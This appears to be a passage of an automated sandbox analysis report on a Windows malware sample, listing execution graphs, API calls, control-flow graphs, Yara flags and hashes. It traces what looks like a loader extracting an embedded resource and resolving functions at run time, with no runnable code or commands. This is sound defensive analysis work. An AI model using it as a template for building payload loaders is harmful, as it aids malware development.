                                                                                                                                                                      execution_graph 23347 3250bed0 23348 3250bf34 EnumThreadWindows 23347->23348 23349 3250bf29 23347->23349 23350 3250bf82 23348->23350 23349->23348 23383 2f550bc4 23384 2f550bcd 23383->23384 23387 325087d8 23384->23387 23389 3250883b 23387->23389 23388 2f550be7 23389->23388 23395 32508d0f 23389->23395 23390 325088bc 23390->23388 23391 3250894f GetActiveWindow 23390->23391 23392 3250897d 23390->23392 23391->23392 23392->23388 23399 3250871c 23392->23399 23396 32508d5e 23395->23396 23397 32508d68 GetProcessWindowStation 23396->23397 23398 32508d90 23396->23398 23397->23398 23398->23390 23400 3250c2d8 MessageBoxW 23399->23400 23402 3250c3bb 23400->23402 23402->23388 23351 2f55f130 23352 2f55f174 CloseHandle 23351->23352 23354 2f55f1c0 23352->23354 23355 2f550e90 23356 2f550e9c 23355->23356 23358 2f550ea7 23356->23358 23359 2f554794 23356->23359 23362 2f55ed48 23359->23362 23364 2f55ed6f 23362->23364 23366 2f55ee60 23364->23366 23367 2f55eea9 VirtualProtect 23366->23367 23369 2f5547b6 23367->23369 23403 40cbf7 23404 40cc08 23403->23404 23438 40d534 HeapCreate 23404->23438 23407 40cc46 23440 41087e GetModuleHandleW 23407->23440 23411 40cc57 __RTC_Initialize 23474 411a15 23411->23474 23414 40cc66 23415 40cc72 GetCommandLineA 23414->23415 23608 40e79a 63 API calls 3 library calls 23414->23608 23489 412892 23415->23489 23418 40cc71 23418->23415 23422 40cc97 23528 41255f 23422->23528 23428 40cca8 23543 40e859 23428->23543 23429 40ccb0 23430 40ccbb 23429->23430 23611 40e79a 63 API calls 3 library calls 23429->23611 23549 4019f0 OleInitialize 23430->23549 23433 40ccd8 23434 40ccea 23433->23434 23603 40ea0a 23433->23603 23612 40ea36 63 API calls _doexit 23434->23612 23437 40ccef _getenv 23439 40cc3a 23438->23439 23439->23407 23606 40cbb4 63 API calls 3 library calls 23439->23606 23441 410892 23440->23441 23442 410899 23440->23442 23613 40e76a Sleep GetModuleHandleW 23441->23613 23444 410a01 23442->23444 23445 4108a3 GetProcAddress GetProcAddress GetProcAddress GetProcAddress 23442->23445 23635 410598 7 API calls __decode_pointer 23444->23635 23448 4108ec TlsAlloc 23445->23448 23447 410898 23447->23442 23450 40cc4c 23448->23450 23451 41093a TlsSetValue 23448->23451 23450->23411 23607 40cbb4 63 API calls 3 library calls 23450->23607 23451->23450 23452 41094b 23451->23452 23614 40ea54 6 API calls 4 library calls 23452->23614 23454 410950 23615 41046e TlsGetValue 23454->23615 23457 41046e __encode_pointer 6 API calls 23458 41096b 23457->23458 23459 41046e __encode_pointer 6 API calls 23458->23459 23460 41097b 23459->23460 23461 41046e __encode_pointer 6 API calls 23460->23461 23462 41098b 23461->23462 23625 40d564 InitializeCriticalSectionAndSpinCount __alloc_osfhnd 23462->23625 23464 410998 23464->23444 23626 4104e9 6 API calls __crt_waiting_on_module_handle 23464->23626 23466 4109ac 23466->23444 23627 411cba 23466->23627 23470 4109df 23470->23444 23471 4109e6 23470->23471 23634 4105d5 63 API calls 5 library calls 23471->23634 23473 4109ee GetCurrentThreadId 23473->23450 23664 40e1d8 23474->23664 23476 411a21 GetStartupInfoA 23477 411cba __calloc_crt 63 API calls 23476->23477 23483 411a42 23477->23483 23478 411c60 _getenv 23478->23414 23479 411bdd GetStdHandle 23484 411ba7 23479->23484 23480 411c42 SetHandleCount 23480->23478 23481 411cba __calloc_crt 63 API calls 23481->23483 23482 411bef GetFileType 23482->23484 23483->23478 23483->23481 23483->23484 23487 411b2a 23483->23487 23484->23478 23484->23479 23484->23480 23484->23482 23666 41389c InitializeCriticalSectionAndSpinCount _getenv 23484->23666 23486 411b53 GetFileType 23486->23487 23487->23478 23487->23484 23487->23486 23665 41389c InitializeCriticalSectionAndSpinCount _getenv 23487->23665 23490 4128b0 GetEnvironmentStringsW 23489->23490 23491 4128cf 23489->23491 23492 4128c4 GetLastError 23490->23492 23493 4128b8 23490->23493 23491->23493 23494 412968 23491->23494 23492->23491 23495 4128eb GetEnvironmentStringsW 23493->23495 23496 4128fa WideCharToMultiByte 23493->23496 23497 412971 GetEnvironmentStrings 23494->23497 23498 40cc82 23494->23498 23495->23496 23495->23498 23500 41295d FreeEnvironmentStringsW 23496->23500 23501 41292e 23496->23501 23497->23498 23505 412981 23497->23505 23515 4127d7 23498->23515 23500->23498 23667 411c75 63 API calls _malloc 23501->23667 23669 411c75 63 API calls _malloc 23505->23669 23506 41299b 23508 4129a2 FreeEnvironmentStringsA 23506->23508 23509 4129ae _memcpy_s 23506->23509 23507 412934 23507->23500 23510 41293c WideCharToMultiByte 23507->23510 23508->23498 23513 4129b8 FreeEnvironmentStringsA 23509->23513 23511 412956 23510->23511 23512 41294e 23510->23512 23511->23500 23668 40b6b5 63 API calls 2 library calls 23512->23668 23513->23498 23516 4127f1 GetModuleFileNameA 23515->23516 23517 4127ec 23515->23517 23519 412818 23516->23519 23676 41446b 107 API calls __setmbcp 23517->23676 23670 41263d 23519->23670 23522 40cc8c 23522->23422 23609 40e79a 63 API calls 3 library calls 23522->23609 23523 412854 23677 411c75 63 API calls _malloc 23523->23677 23525 41285a 23525->23522 23526 41263d _parse_cmdline 73 API calls 23525->23526 23527 412874 23526->23527 23527->23522 23529 412568 23528->23529 23532 41256d _strlen 23528->23532 23679 41446b 107 API calls __setmbcp 23529->23679 23531 411cba __calloc_crt 63 API calls 23538 4125a2 _strlen 23531->23538 23532->23531 23535 40cc9d 23532->23535 23533 412600 23682 40b6b5 63 API calls 2 library calls 23533->23682 23535->23428 23610 40e79a 63 API calls 3 library calls 23535->23610 23536 411cba __calloc_crt 63 API calls 23536->23538 23537 412626 23683 40b6b5 63 API calls 2 library calls 23537->23683 23538->23533 23538->23535 23538->23536 23538->23537 23541 4125e7 23538->23541 23680 40ef42 63 API calls __strnicoll_l 23538->23680 23541->23538 23681 40e61c 10 API calls 3 library calls 23541->23681 23544 40e867 __IsNonwritableInCurrentImage 23543->23544 23684 413586 23544->23684 23546 40e885 __initterm_e 23548 40e8a4 __IsNonwritableInCurrentImage __initterm 23546->23548 23688 40d2bd 74 API calls __cinit 23546->23688 23548->23429 23550 401ab9 23549->23550 23689 40b99e 23550->23689 23552 401abf 23553 401acd GetCurrentProcessId CreateToolhelp32Snapshot Module32First 23552->23553 23583 402467 23552->23583 23554 401dc3 CloseHandle GetModuleHandleA 23553->23554 23561 401c55 23553->23561 23702 401650 23554->23702 23556 401e8b FindResourceA LoadResource LockResource SizeofResource 23704 40b84d 23556->23704 23560 401c9c CloseHandle 23560->23433 23561->23560 23566 401cf9 Module32Next 23561->23566 23562 401ecb _memset 23563 401efc SizeofResource 23562->23563 23564 401f1c 23563->23564 23565 401f5f 23563->23565 23564->23565 23760 401560 __VEC_memcpy __cftoe2_l 23564->23760 23567 401f92 _memset 23565->23567 23761 401560 __VEC_memcpy __cftoe2_l 23565->23761 23566->23554 23577 401d0f 23566->23577 23570 401fa2 FreeResource 23567->23570 23571 40b84d _malloc 63 API calls 23570->23571 23572 401fbb SizeofResource 23571->23572 23573 401fe5 _memset 23572->23573 23574 4020aa LoadLibraryA 23573->23574 23575 401650 23574->23575 23576 40216c GetProcAddress 23575->23576 23579 4021aa 23576->23579 23576->23583 23577->23560 23578 401dad Module32Next 23577->23578 23578->23554 23578->23577 23579->23583 23734 4018f0 23579->23734 23581 40243f 23581->23583 23762 40b6b5 63 API calls 2 library calls 23581->23762 23583->23433 23584 4021f1 23584->23581 23746 401870 23584->23746 23586 402269 VariantInit 23587 401870 76 API calls 23586->23587 23588 40228b VariantInit 23587->23588 23589 4022a7 23588->23589 23590 4022d9 SafeArrayCreate SafeArrayAccessData 23589->23590 23751 40b350 23590->23751 23593 40232c 23594 402354 SafeArrayDestroy 23593->23594 23602 40235b 23593->23602 23594->23602 23595 402392 SafeArrayCreateVector 23596 4023a4 23595->23596 23597 4023bc VariantClear VariantClear 23596->23597 23753 4019a0 23597->23753 23600 40242e 23601 4019a0 66 API calls 23600->23601 23601->23581 23602->23595 23807 40e8de 23603->23807 23605 40ea1b 23605->23434 23606->23407 23607->23411 23608->23418 23609->23422 23610->23428 23611->23430 23612->23437 23613->23447 23614->23454 23616 4104a7 GetModuleHandleW 23615->23616 23617 410486 23615->23617 23619 4104c2 GetProcAddress 23616->23619 23620 4104b7 23616->23620 23617->23616 23618 410490 TlsGetValue 23617->23618 23623 41049b 23618->23623 23624 41049f 23619->23624 23636 40e76a Sleep GetModuleHandleW 23620->23636 23622 4104bd 23622->23619 23622->23624 23623->23616 23623->23624 23624->23457 23625->23464 23626->23466 23630 411cc3 23627->23630 23629 4109c5 23629->23444 23633 4104e9 6 API calls __crt_waiting_on_module_handle 23629->23633 23630->23629 23631 411ce1 Sleep 23630->23631 23637 40e231 23630->23637 23632 411cf6 23631->23632 23632->23629 23632->23630 23633->23470 23634->23473 23636->23622 23638 40e23d _getenv 23637->23638 23639 40e255 23638->23639 23649 40e274 _memset 23638->23649 23650 40bfc1 63 API calls __getptd_noexit 23639->23650 23641 40e25a 23651 40e744 6 API calls 2 library calls 23641->23651 23643 40e2e6 HeapAlloc 23643->23649 23644 40e26a _getenv 23644->23630 23649->23643 23649->23644 23652 40d6e0 23649->23652 23659 40def2 5 API calls 2 library calls 23649->23659 23660 40e32d LeaveCriticalSection _doexit 23649->23660 23661 40d2e3 6 API calls __decode_pointer 23649->23661 23650->23641 23653 40d6f5 23652->23653 23654 40d708 EnterCriticalSection 23652->23654 23662 40d61d 63 API calls 10 library calls 23653->23662 23654->23649 23656 40d6fb 23656->23654 23663 40e79a 63 API calls 3 library calls 23656->23663 23658 40d707 23658->23654 23659->23649 23660->23649 23661->23649 23662->23656 23663->23658 23664->23476 23665->23487 23666->23484 23667->23507 23668->23511 23669->23506 23672 41265c 23670->23672 23674 4126c9 23672->23674 23678 416836 73 API calls x_ismbbtype_l 23672->23678 23673 4127c7 23673->23522 23673->23523 23674->23673 23675 416836 73 API calls _parse_cmdline 23674->23675 23675->23674 23676->23516 23677->23525 23678->23672 23679->23532 23680->23538 23681->23541 23682->23535 23683->23535 23685 41358c 23684->23685 23686 41046e __encode_pointer 6 API calls 23685->23686 23687 4135a4 23685->23687 23686->23685 23687->23546 23688->23548 23691 40b9aa _getenv _strnlen 23689->23691 23690 40b9b8 23763 40bfc1 63 API calls __getptd_noexit 23690->23763 23691->23690 23694 40b9ec 23691->23694 23693 40b9bd 23764 40e744 6 API calls 2 library calls 23693->23764 23696 40d6e0 __lock 63 API calls 23694->23696 23697 40b9f3 23696->23697 23765 40b917 121 API calls 3 library calls 23697->23765 23699 40b9ff 23766 40ba18 LeaveCriticalSection _doexit 23699->23766 23700 40b9cd _getenv 23700->23552 23703 4017cc _memcpy_s 23702->23703 23703->23556 23705 40b900 23704->23705 23711 40b85f 23704->23711 23776 40d2e3 6 API calls __decode_pointer 23705->23776 23707 40b906 23777 40bfc1 63 API calls __getptd_noexit 23707->23777 23710 401ebf 23722 40af66 23710->23722 23711->23710 23714 40b8bc RtlAllocateHeap 23711->23714 23715 40b870 23711->23715 23717 40b8ec 23711->23717 23720 40b8f1 23711->23720 23772 40b7fe 63 API calls 4 library calls 23711->23772 23773 40d2e3 6 API calls __decode_pointer 23711->23773 23714->23711 23715->23711 23767 40ec4d 63 API calls 2 library calls 23715->23767 23768 40eaa2 63 API calls 7 library calls 23715->23768 23769 40e7ee 23715->23769 23774 40bfc1 63 API calls __getptd_noexit 23717->23774 23775 40bfc1 63 API calls __getptd_noexit 23720->23775 23724 40af70 23722->23724 23723 40b84d _malloc 63 API calls 23723->23724 23724->23723 23725 40af8a 23724->23725 23730 40af8c std::bad_alloc::bad_alloc 23724->23730 23782 40d2e3 6 API calls __decode_pointer 23724->23782 23725->23562 23727 40afb2 23784 40af49 63 API calls std::exception::exception 23727->23784 23729 40afbc 23785 40cd39 RaiseException 23729->23785 23730->23727 23783 40d2bd 74 API calls __cinit 23730->23783 23733 40afca 23735 401903 lstrlenA 23734->23735 23736 4018fc 23734->23736 23786 4017e0 23735->23786 23736->23584 23739 401940 GetLastError 23741 40194b MultiByteToWideChar 23739->23741 23742 40198d 23739->23742 23740 401996 23740->23584 23743 4017e0 78 API calls 23741->23743 23742->23740 23802 401030 GetLastError EntryPoint 23742->23802 23744 401970 MultiByteToWideChar 23743->23744 23744->23742 23747 40af66 75 API calls 23746->23747 23748 40187c 23747->23748 23749 401885 SysAllocString 23748->23749 23750 4018a4 23748->23750 23749->23750 23750->23586 23752 40231a SafeArrayUnaccessData 23751->23752 23752->23593 23754 4019aa InterlockedDecrement 23753->23754 23759 4019df VariantClear 23753->23759 23755 4019b8 23754->23755 23754->23759 23756 4019c2 SysFreeString 23755->23756 23757 4019c9 23755->23757 23755->23759 23756->23757 23806 40aec0 64 API calls 2 library calls 23757->23806 23759->23600 23760->23564 23761->23567 23762->23583 23763->23693 23765->23699 23766->23700 23767->23715 23768->23715 23778 40e7c3 GetModuleHandleW 23769->23778 23772->23711 23773->23711 23774->23720 23775->23710 23776->23707 23777->23710 23779 40e7d7 GetProcAddress 23778->23779 23780 40e7ec ExitProcess 23778->23780 23779->23780 23781 40e7e7 CorExitProcess 23779->23781 23781->23780 23782->23724 23783->23727 23784->23729 23785->23733 23787 4017f3 23786->23787 23788 4017e9 EntryPoint 23786->23788 23789 401805 23787->23789 23790 4017fb EntryPoint 23787->23790 23788->23787 23791 401818 23789->23791 23792 40180e EntryPoint 23789->23792 23790->23789 23793 40183e 23791->23793 23799 401844 23791->23799 23803 40b783 73 API calls 4 library calls 23791->23803 23792->23791 23804 40b6b5 63 API calls 2 library calls 23793->23804 23797 40186d MultiByteToWideChar 23797->23739 23797->23740 23798 40184e EntryPoint 23798->23799 23799->23797 23799->23798 23805 40b743 63 API calls 2 library calls 23799->23805 23800 40182d 23800->23799 23801 401834 EntryPoint 23800->23801 23801->23793 23803->23800 23804->23799 23805->23799 23806->23759 23808 40e8ea _getenv 23807->23808 23809 40d6e0 __lock 63 API calls 23808->23809 23810 40e8f1 23809->23810 23811 40e9ba __initterm 23810->23811 23812 40e91d 23810->23812 23826 40e9f5 23811->23826 23831 4104e9 6 API calls __crt_waiting_on_module_handle 23812->23831 23815 40e9f2 _getenv 23815->23605 23817 40e928 23818 40e9aa __initterm 23817->23818 23832 4104e9 6 API calls __crt_waiting_on_module_handle 23817->23832 23818->23811 23821 40e9e9 23822 40e7ee _doexit 4 API calls 23821->23822 23822->23815 23823 4104e0 6 API calls _raise 23825 40e93d 23823->23825 23824 4104e9 6 API calls __decode_pointer 23824->23825 23825->23818 23825->23823 23825->23824 23827 40e9d6 23826->23827 23828 40e9fb 23826->23828 23827->23815 23830 40d606 LeaveCriticalSection 23827->23830 23833 40d606 LeaveCriticalSection 23828->23833 23830->23821 23831->23817 23832->23825 23833->23827 23370 3250a0f8 DuplicateHandle 23371 3250a1d5 23370->23371 23834 32509aa8 23835 32509aee GetCurrentProcess 23834->23835 23837 32509b40 GetCurrentThread 23835->23837 23838 32509b39 23835->23838 23839 32509b76 23837->23839 23840 32509b7d GetCurrentProcess 23837->23840 23838->23837 23839->23840 23841 32509bb3 23840->23841 23842 32509bdb GetCurrentThreadId 23841->23842 23843 32509c0c 23842->23843 23372 3250a77f 23375 32509f70 23372->23375 23376 32509f7b 23375->23376 23379 3250bdd0 23376->23379 23377 3250a78c 23380 3250be2f GetCurrentThreadId 23379->23380 23382 3250be75 23380->23382 23382->23377

                                                                                                                                                                      Executed Functions

                                                                                                                                                                      Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747comprocessCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 0 4019f0-401ac7 OleInitialize call 401650 call 40b99e 5 40248a-402496 0->5 6 401acd-401c4f GetCurrentProcessId CreateToolhelp32Snapshot Module32First 0->6 7 401dc3-401ed4 CloseHandle GetModuleHandleA call 401650 FindResourceA LoadResource LockResource SizeofResource call 40b84d call 40af66 6->7 8 401c55-401c6c call 401650 6->8 26 401ed6-401eed call 40ba30 7->26 27 401eef 7->27 14 401c73-401c77 8->14 16 401c93-401c95 14->16 17 401c79-401c7b 14->17 21 401c98-401c9a 16->21 19 401c7d-401c83 17->19 20 401c8f-401c91 17->20 19->16 23 401c85-401c8d 19->23 20->21 24 401cb0-401cce call 401650 21->24 25 401c9c-401caf CloseHandle 21->25 23->14 23->20 32 401cd0-401cd4 24->32 31 401ef3-401f1a call 401300 SizeofResource 26->31 27->31 41 401f1c-401f2f 31->41 42 401f5f-401f69 31->42 35 401cf0-401cf2 32->35 36 401cd6-401cd8 32->36 40 401cf5-401cf7 35->40 38 401cda-401ce0 36->38 39 401cec-401cee 36->39 38->35 45 401ce2-401cea 38->45 39->40 40->25 46 401cf9-401d09 Module32Next 40->46 47 401f33-401f5d call 401560 41->47 43 401f73-401f75 42->43 44 401f6b-401f72 42->44 48 401f92-4021a4 call 40ba30 FreeResource call 40b84d SizeofResource call 40ac60 call 40ba30 call 401650 LoadLibraryA call 401650 GetProcAddress 43->48 49 401f77-401f8d call 401560 43->49 44->43 45->32 45->39 46->7 50 401d0f 46->50 47->42 48->5 85 4021aa-4021c0 48->85 49->48 55 401d10-401d2e call 401650 50->55 61 401d30-401d34 55->61 63 401d50-401d52 61->63 64 401d36-401d38 61->64 65 401d55-401d57 63->65 67 401d3a-401d40 64->67 68 401d4c-401d4e 64->68 65->25 70 401d5d-401d7b call 401650 65->70 67->63 69 401d42-401d4a 67->69 68->65 69->61 69->68 77 401d80-401d84 70->77 79 401da0-401da2 77->79 80 401d86-401d88 77->80 84 401da5-401da7 79->84 82 401d8a-401d90 80->82 83 401d9c-401d9e 80->83 82->79 86 401d92-401d9a 82->86 83->84 84->25 87 401dad-401dbd Module32Next 84->87 89 4021c6-4021ca 85->89 90 40246a-402470 85->90 86->77 86->83 87->7 87->55 89->90 91 4021d0-402217 call 4018f0 89->91 92 402472-402475 90->92 93 40247a-402480 90->93 98 40221d-40223d 91->98 99 40244f-40245f 91->99 92->93 93->5 95 402482-402487 93->95 95->5 98->99 104 402243-402251 98->104 99->90 100 402461-402467 call 40b6b5 99->100 100->90 104->99 106 402257-4022b7 call 401870 VariantInit call 401870 VariantInit call 4018d0 104->106 114 4022c3-40232a call 4018d0 SafeArrayCreate SafeArrayAccessData call 40b350 SafeArrayUnaccessData 106->114 115 4022b9-4022be call 40ad90 106->115 122 402336-40234d call 4018d0 114->122 123 40232c-402331 call 40ad90 114->123 115->114 154 40234e call 2f28d01d 122->154 155 40234e call 2f28d007 122->155 123->122 127 402350-402352 128 402354-402355 SafeArrayDestroy 127->128 129 40235b-402361 127->129 128->129 130 402363-402368 call 40ad90 129->130 131 40236d-402375 129->131 130->131 132 402377-402379 131->132 133 40237b 131->133 135 40237d-40238f call 4018d0 132->135 133->135 152 402390 call 2f28d01d 135->152 153 402390 call 2f28d007 135->153 138 402392-4023a2 SafeArrayCreateVector 139 4023a4-4023a9 call 40ad90 138->139 140 4023ae-4023b4 138->140 139->140 142 4023b6-4023b8 140->142 143 4023ba 140->143 144 4023bc-402417 VariantClear * 2 call 4019a0 142->144 143->144 146 40241c-40242c VariantClear 144->146 147 402436-402445 call 4019a0 146->147 148 40242e-402433 146->148 147->99 151 402447-40244c 147->151 148->147 151->99 152->138 153->138 154->127 155->127
                                                                                                                                                                      APIs
                                                                                                                                                                      • OleInitialize.OLE32(00000000), ref: 004019FD
                                                                                                                                                                      • _getenv.LIBCMT ref: 00401ABA
                                                                                                                                                                      • GetCurrentProcessId.KERNEL32 ref: 00401ACD
                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
                                                                                                                                                                      • Module32First.KERNEL32 ref: 00401C48
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
                                                                                                                                                                      • Module32Next.KERNEL32(00000000,?), ref: 00401D02
                                                                                                                                                                      • Module32Next.KERNEL32(00000000,?), ref: 00401DB6
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00401DC4
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
                                                                                                                                                                      • FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
                                                                                                                                                                      • LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
                                                                                                                                                                      • LockResource.KERNEL32(00000000), ref: 00401EA7
                                                                                                                                                                      • SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
                                                                                                                                                                      • _malloc.LIBCMT ref: 00401EBA
                                                                                                                                                                      • _memset.LIBCMT ref: 00401EDD
                                                                                                                                                                      • SizeofResource.KERNEL32(00000000,?), ref: 00401F02
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1965140113.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000002.1965140113.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000003.00000002.1965140113.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
                                                                                                                                                                      • String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
                                                                                                                                                                      • API String ID: 1430744539-2962942730
                                                                                                                                                                      • Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
                                                                                                                                                                      • Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
                                                                                                                                                                      • Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
                                                                                                                                                                      • Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B
                                                                                                                                                                      Function 3250BEC8 Relevance: 1.6, APIs: 1, Instructions: 91threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • EnumThreadWindows.USER32(?,?,?), ref: 3250BF70
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: EnumThreadWindows
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2941952884-0
                                                                                                                                                                      • Opcode ID: 975c1ea1e6adfec30bca1047760cc631962233c8cc8503f0c41b67f4fd7f8608
                                                                                                                                                                      • Instruction ID: 9c4d438f13f816e879bb8bc152cdfa175ab177fddee26df0e2c9c18555bceafa
                                                                                                                                                                      • Opcode Fuzzy Hash: 975c1ea1e6adfec30bca1047760cc631962233c8cc8503f0c41b67f4fd7f8608
                                                                                                                                                                      • Instruction Fuzzy Hash: 4C31CAB9D012189FCB10CFA9E984AEEFBF1AB49314F20946AE408B7210C774AA45CF54
                                                                                                                                                                      Function 3250BED0 Relevance: 1.6, APIs: 1, Instructions: 87threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • EnumThreadWindows.USER32(?,?,?), ref: 3250BF70
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: EnumThreadWindows
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2941952884-0
                                                                                                                                                                      • Opcode ID: a9b7d78604b07b35dae7965e7afe54edcf734c81e8f0a7d0a4d2239f292c49a5
                                                                                                                                                                      • Instruction ID: efc3dff309685d1b52f6c339df82de226c7b22f95acc51bb765239b6bdaf447d
                                                                                                                                                                      • Opcode Fuzzy Hash: a9b7d78604b07b35dae7965e7afe54edcf734c81e8f0a7d0a4d2239f292c49a5
                                                                                                                                                                      • Instruction Fuzzy Hash: 8831BAB9D05218DFCB10CFA9D984AEEFBF1AB49314F20902AE408B7310C774AA45CF94
                                                                                                                                                                      Function 0040CBF7 Relevance: 21.1, APIs: 14, Instructions: 78COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2598563909-0
                                                                                                                                                                      • Opcode ID: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
                                                                                                                                                                      • Instruction ID: 67c2b95978a5c3de314e94e7eee78366e8702871eb07600154e5c77a41a3d030
                                                                                                                                                                      • Opcode Fuzzy Hash: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
                                                                                                                                                                      • Instruction Fuzzy Hash: 5321E770A05304DAFB207BB3E98676932B46F00309F00453FE508B62D2EB7C89918A5C
                                                                                                                                                                      Function 325087D8 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 332COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 212 325087d8-3250885a 216 32508860-32508885 212->216 217 32508a9e-32508ad1 212->217 222 32508ad8-32508b0d 216->222 223 3250888b-325088b0 216->223 217->222 230 32508b14-32508b49 222->230 223->230 231 325088b6-325088c6 call 32508d0f 223->231 236 32508b50-32508b7c 230->236 231->236 237 325088cc-325088d0 231->237 242 32508b83-32508bc1 236->242 238 325088d2-325088d8 237->238 239 325088de-325088e3 237->239 238->239 238->242 243 325088f1-325088f7 239->243 244 325088e5-325088eb 239->244 245 32508bc8-32508c06 242->245 247 32508908-3250891c 243->247 248 325088f9-32508901 243->248 244->243 244->245 281 32508c0d-32508c96 245->281 260 32508922 247->260 261 3250891e-32508920 247->261 248->247 263 32508927-3250893f 260->263 261->263 266 32508941-32508947 263->266 267 32508949-3250894d 263->267 266->267 269 3250899c-325089a9 266->269 270 32508990-32508999 267->270 271 3250894f-3250897b GetActiveWindow 267->271 279 325089e9 269->279 280 325089ab-325089c1 call 32508710 269->280 270->269 273 32508984-3250898e 271->273 274 3250897d-32508983 271->274 273->269 274->273 311 325089e9 call 325095f0 279->311 312 325089e9 call 325095e0 279->312 313 325089e9 call 325095b7 279->313 290 325089e0-325089e6 280->290 291 325089c3-325089da 280->291 307 32508ca3 281->307 308 32508c98-32508ca1 281->308 283 325089ef-32508a18 call 3250871c 292 32508a1d-32508a4c 283->292 290->279 291->281 291->290 292->217 309 32508ca5-32508cab 307->309 308->309 311->283 312->283 313->283
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ActiveWindow
                                                                                                                                                                      • String ID: ,l92$Hbq$Hbq$xk92$xk92
                                                                                                                                                                      • API String ID: 2558294473-3253162116
                                                                                                                                                                      • Opcode ID: 490fb3234ae538f9eaf6928aed14762da6593702bac4aacf7cde07b432b89e67
                                                                                                                                                                      • Instruction ID: d40f728d28f149f5f1ffa1ba7aef74cc8712ec05eca27d043f1c0cba3616ed54
                                                                                                                                                                      • Opcode Fuzzy Hash: 490fb3234ae538f9eaf6928aed14762da6593702bac4aacf7cde07b432b89e67
                                                                                                                                                                      • Instruction Fuzzy Hash: 1CC1A174F042459FDB04AF79D9587AE7BE6AF89340F248828D806EB390DE349D42CB65
                                                                                                                                                                      Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • lstrlenA.KERNEL32(?), ref: 00401906
